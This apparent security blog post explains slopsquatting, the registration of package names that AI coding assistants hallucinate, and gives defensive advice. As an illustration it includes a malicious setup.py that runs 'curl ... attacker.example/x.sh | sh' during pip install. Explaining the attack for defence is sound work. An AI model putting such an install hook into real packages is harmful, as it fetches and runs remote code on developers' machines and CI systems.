You ask an AI assistant to write a Python script, it tells you to run pip install requests-utils, and you run it without thinking. The problem is that package does not exist, or rather it did not exist until an attacker noticed the model kept inventing it and registered the name with malware inside. That is slopsquatting: attackers claim the fake package names that LLMs hallucinate, so the developers who paste AI generated install commands straight into a terminal end up pulling hostile code. The name joins “slop”, the low quality filler models sometimes produce, with “squatting”, claiming a name someone else will reach for.
Why LLMs invent package names
A language model does not look anything up when it writes code. It predicts the next token from patterns in its training data, and a string like import data_helpers is plausible whether or not data_helpers is real. The model has seen thousands of pip install lines, so it produces ones that read correctly. It has no list of what actually exists to check against.
So it guesses, and the guesses look reasonable. Ask for code that retries HTTP requests and a model might suggest requests-retry or http-retry-utils. Both sound like things that should exist. Sometimes one does, sometimes neither does, and the model presents them all in the same confident tone. Nothing in the output says “I made this name up”.
Slopsquatting works because the hallucinations repeat
A one off mistake would not be worth attacking. The reason this is a real supply chain risk is that the invented names are not random. Ask the same model the same kind of question and it tends to hallucinate the same package, because it is drawing on the same training patterns each time. Different prompts that mean the same thing often converge on the same fake name too.
That repeatability is the whole game. An attacker does not have to guess what a model will invent. They run a model against hundreds of common coding prompts, write down every package it suggests, check which names are unregistered, and grab the popular ones. The trap is set, and it waits for every developer whose model produces that same suggestion.
The attacker does not predict a human mistake. They harvest a machine’s repeated guesses, register the ones nobody owns, and let the model send victims to them.
The attack flow, step by step
Here is how a slopsquatting campaign runs.
- Collect hallucinations. The attacker prompts an LLM with many realistic coding tasks and records the package names it tells people to install.
- Filter for unclaimed names. They check each name against the registry. A name that returns a 404 is a candidate, because it is free to register and a model keeps recommending it.
- Register and weaponize. They publish a package under that exact name, with a working description and a plausible README, and put a malicious payload in the install script or in
__init__.pyso it runs on import. - Wait. Developers ask similar questions, get the same hallucinated name, and run the install command. The payload executes with the developer’s permissions, often inside CI where it can read secrets and tokens.
A concrete made up example
Say a developer asks a model how to validate JSON Web Tokens in Python. The model replies with clean looking code and this line.
pip install jwt-validator-py
No such package exists today. An attacker who saw the model produce jwt-validator-py across several prompts registers it on PyPI. The published package ships a setup.py that runs on install:
from setuptools import setup
import os, urllib.request
# runs during `pip install jwt-validator-py`
os.system(
"curl -s https://attacker.example/x.sh | sh"
)
setup(
name="jwt-validator-py",
version="0.1.0",
description="Simple JWT validation helpers",
)
The developer runs the install, the script fires before any of their own code does, and the machine is compromised. The same shape works on npm with a malicious postinstall hook in package.json, or with code that runs at import time.
How slopsquatting relates to typosquatting and dependency confusion
All three abuse the gap between the name a developer types and the package it resolves to. They differ in how the victim is steered to the wrong name.
Typosquatting
Typosquatting bets on human fingers. The attacker registers reqeusts or djnago, real packages with one character wrong, and waits for someone to fumble the spelling. The trigger is a typo. Slopsquatting needs no human mistake at all. The model supplies a wrong but well spelled name, and the human types it correctly.
Dependency confusion
Dependency confusion abuses how installers pick between sources. If your build uses a private package called internal-billing, an attacker can publish a higher version on the public registry, and a misconfigured installer grabs the public one instead. The package name is real and known to you. You can read more in our writeup on the dependency confusion attack. Slopsquatting is different: the package name is not one you already use, it is one an AI made up on the spot.
The short version: typosquatting exploits a misspelling, dependency confusion exploits version and source resolution, and slopsquatting exploits a model’s confident guess. They share one fix surface, which is controlling exactly what gets installed.
How to defend against slopsquatting
The fixes are old supply chain hygiene plus one new habit, which is to stop trusting AI install commands on sight.
- Do not auto run AI generated install commands. Treat any
pip installornpm installline from a model as an unverified claim. Copying a command into a terminal is the single step that turns a hallucination into code execution. - Verify the package exists and is reputable first. Open the registry page before installing and check the download counts, publish date, source repository, and maintainers. A package that appeared last week with no history and a generic README is a red flag.
- Use lockfiles and pin versions. A committed
poetry.lock,package-lock.json, or pinnedrequirements.txtmeans installs resolve to exact, reviewed versions. A new hallucinated name has to pass through a pull request before it can ever be installed in CI. - Use an allowlist or an internal mirror. Let builds install only from a vetted set of packages or a proxy you control. An invented name is not on the list, so the install fails closed instead of reaching the public registry.
- Scan dependencies. Run software composition analysis and registry reputation checks in CI so a brand new, low reputation package gets flagged before it merges.
- Watch install scripts. Be wary of packages whose install or postinstall steps make network calls or run shell commands. A JSON helper has no reason to
curla remote script.
None of these ask developers to spot malware by reading it. They put a check between the model’s suggestion and the install, which is exactly where the attack needs none.
The assumption that breaks
Slopsquatting works because of a quiet assumption: that a confident, well formed instruction from a tool you trust points at something real. It often does not, and the gap between a plausible name and a verified one is where the attacker lives. You find this kind of issue by asking what a system takes on faith, not by matching known bad strings. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about what a system assumes is what an autonomous researcher built to test assumptions does, and it is the same instinct that catches a fake package before it runs. Read more on our about page, or see the wider picture in our writeup on the AI agent attack surface.
Frequently asked questions
What is slopsquatting?
Slopsquatting is a supply chain attack where someone registers a fake package name that an AI coding assistant tends to invent. Language models do not check what exists, so they sometimes tell developers to run something like pip install requests-utils for a package that is not real. An attacker who notices the model repeating that name claims it on a registry such as PyPI or npm and ships malware inside. Developers who paste the AI install command straight into a terminal then pull the hostile package.
Why can attackers predict which fake package names an AI will suggest?
Because the hallucinations repeat. A model draws on the same training patterns each time, so the same kind of prompt tends to produce the same invented name, and different wordings of one request often converge on it too. An attacker does not have to guess. They run a model against many common coding prompts, record every package it recommends, check which names are unregistered, and claim the popular ones. The trap then waits for every developer whose model produces that same suggestion.
How is slopsquatting different from typosquatting and dependency confusion?
All three exploit the gap between the name a developer uses and the package it resolves to, but the trigger differs. Typosquatting relies on a human misspelling, like reqeusts for requests. Dependency confusion abuses version and source resolution, where a public package with a higher version shadows a private one of the same name. Slopsquatting needs neither a typo nor a known name. The AI supplies a wrong but well spelled name the developer never used before, and the developer types it correctly.
How do I protect my project from slopsquatting?
Do not auto run AI generated install commands. Treat any pip install or npm install line from a model as an unverified claim, and check the registry page first for download history, publish date, source repo, and maintainers. Commit lockfiles and pin versions so installs resolve to reviewed packages, use an allowlist or internal mirror so unknown names fail closed, and run software composition analysis in CI. The OWASP CI/CD Top 10 covers related dependency risks.